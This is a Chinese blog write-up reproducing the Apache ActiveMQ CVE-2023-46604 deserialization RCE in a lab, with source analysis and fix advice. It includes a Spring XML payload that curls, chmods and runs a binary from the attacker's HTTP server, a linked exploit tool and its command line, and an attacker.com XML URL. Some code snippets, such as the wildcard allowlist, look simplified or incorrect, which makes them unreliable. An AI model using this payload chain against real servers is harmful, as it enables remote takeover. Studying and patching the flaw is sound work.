当前位置: 首页 > backend >正文

CVE-2023-46604漏洞复现与深度分析

1. 漏洞概述

     漏洞编号:CVE-2023-46604
     漏洞类型:远程代码执行(RCE)
     CVSS评分:10.0(Critical)
     影响组件:Apache ActiveMQ OpenWire协议处理模块
     漏洞成因:

  • 反序列化类加载漏洞:攻击者通过构造恶意序列化数据,注入危险类名(如org.springframework.context.support.ClassPathXmlApplicationContext),触发远程XML配置文件加载,最终执行任意命令。

  • tightUnmarshalString 方法缺陷:未对反序列化字符串进行严格校验,可能被利用注入恶意类名或路径。

2. 影响版本

      受影响版本:

      Apache ActiveMQ < 5.15.16

      5.16.x < 5.16.7

      5.17.x < 5.17.6

      5.18.x < 5.18.3

      安全版本:

      ≥5.15.16、≥5.16.7、≥5.17.6、≥5.18.3

3. 源码分析

3.1 核心漏洞点:createThrowable()

private Throwable createThrowable(String className, String message) {try {// 直接加载攻击者控制的类名Class<?> clazz = Class.forName(className, false, getClassLoader());Constructor<?> constructor = clazz.getConstructor(String.class);return (Throwable) constructor.newInstance(message);} catch (Throwable e) {return new Throwable(className + ": " + message);}
}

漏洞说明

className 完全由攻击者控制,可注入危险类(如Spring的ClassPathXmlApplicationContext)。message 可指定远程XML URL(如http://attacker.com/malicious.xml),触发恶意Bean实例化。

3.2反序列化入口:tightUnmarshal()

public Object tightUnmarshal(OpenWireFormat wireFormat, DataInput dataIn) throws IOException {String className = dataIn.readUTF(); // 从数据流读取类名Class<?> clazz = Class.forName(className); // 直接加载类return clazz.newInstance();
}

3.3 漏洞触发链

  1. 构造恶意序列化数据

    • 注入className=org.springframework.context.support.ClassPathXmlApplicationContext

    • 注入message=http://attacker.com/malicious.xml

  2. 触发tightUnmarshalString加载恶意参数

    String clazz = tightUnmarshalString(dataIn, bs); // 类名:攻击者控制
    String message = tightUnmarshalString(dataIn, bs); // 消息:远程XML URL
    Throwable o = createThrowable(clazz, message); // 加载远程XML
  3. 远程XML执行命令

    <bean class="java.lang.ProcessBuilder"><constructor-arg><list><value>bash</value><value>-c</value><value>恶意命令</value></list></constructor-arg>
    </bean>

    4. 漏洞复现(PoC)

环境搭建(vul)

攻击步骤

(1).管理员登录(账号admin,密码admin)

(2).exp工具下载

https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ

(3)在exp工具目录开启http服务

python3 -m http.server 8001

(3).修改poc.xml文件(我的靶场环境是linux,所以用poc-linux.xml)

可以在工具目录自己创建test.elf文件

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>sh</value><value>-c</value><!-- The command below downloads the file and saves it as test.elf --><value>curl -s -o test.elf http://192.168.1.1:8001/test.elf; chmod +x ./test.elf; ./test.elf</value></list></constructor-arg></bean>
</beans>

(4).运行exp工具 

activemq-rce -i 192.168.1.100 -u http://192.168.1.1:8001/poc-linux.xml

 

(5).验证(进入靶场容器) 

docker exec -it 容器id  /bin/bash

发现生成test.elf文件

 

5. 修复建议

官方补丁

类名白名单
仅允许反序列化ActiveMQ内部安全类(如org.apache.activemq.command.*)。

private static final Set<String> ALLOWED_CLASSES = Set.of("org.apache.activemq.command.*","java.lang.Throwable"
);

    6. 总结

    • 漏洞根源:

      • 反序列化过程中未校验类名,结合tightUnmarshalString方法的字符串解析缺陷,形成完整攻击链。

    • tightUnmarshalString 问题:

      • 长度未限制、编码不严谨,可能被用于构造超长字符串或畸形数据触发DoS。

    • 修复关键:

      • 类名白名单 + 输入严格校验。

    http://www.xdnf.cn/news/324.html

    相关文章:

  1. 他吞吞吐吐他吞吞吐吐
  2. 前沿篇|CAN XL 与 TSN 深度解读
  3. 管家婆工贸ERP BB034.销售订单保存获取价格跟踪
  4. 如何模拟浏览器行为获取网页中的隐藏表单数据?
  5. 动态规划入门:4种背包问题大纲
  6. 自适应布局,平均分配,自动换行,上下对齐
  7. C++常用锁总结
  8. 需求:金额字段要求只能输入两位且直接进行截断
  9. 楼梯上下检测数据集VOC+YOLO格式5462张2类别
  10. ifconfig -bash: ifconfig: command not found
  11. bulk-seq分析,表达量你使用fpkm?还是tpm?
  12. 邮件自动回复助手(Rasa/SMTP)实现教程
  13. 【Triton 教程】triton_language.full
  14. 代码随想录算法训练营第二十一天
  15. 【认知觉醒】是什么? 如何做到 ? ( 持续更新ing )
  16. 2021 CCF CSP-S2.廊桥分配
  17. Arduino无线体感机器手——问题汇总
  18. 土建施工员备考经验分享
  19. o3和o4-mini的升级有哪些亮点?
  20. JS反混淆网站
  21. 使用MQTT协议实现VISION如何与Node-red数据双向通信
  22. 每日算法-250418
  23. 基于autoware1.14的实车部署激光雷达循迹,从建图、定位、录制轨迹巡航点、到实车运行。
  24. linux查看及修改用户过期时间
  25. Flutter_学习记录_状态管理之GetX
  26. 从Archery到NineData:积加科技驱动数据库研发效能与数据安全双升级
  27. C++:PTA L1-006 连续因子
  28. AI Agent 元年,于 2025 开启
  29. Python 高阶函数:日志的高级用法
  30. Linux | I.MX6ULL 内核的编译(13)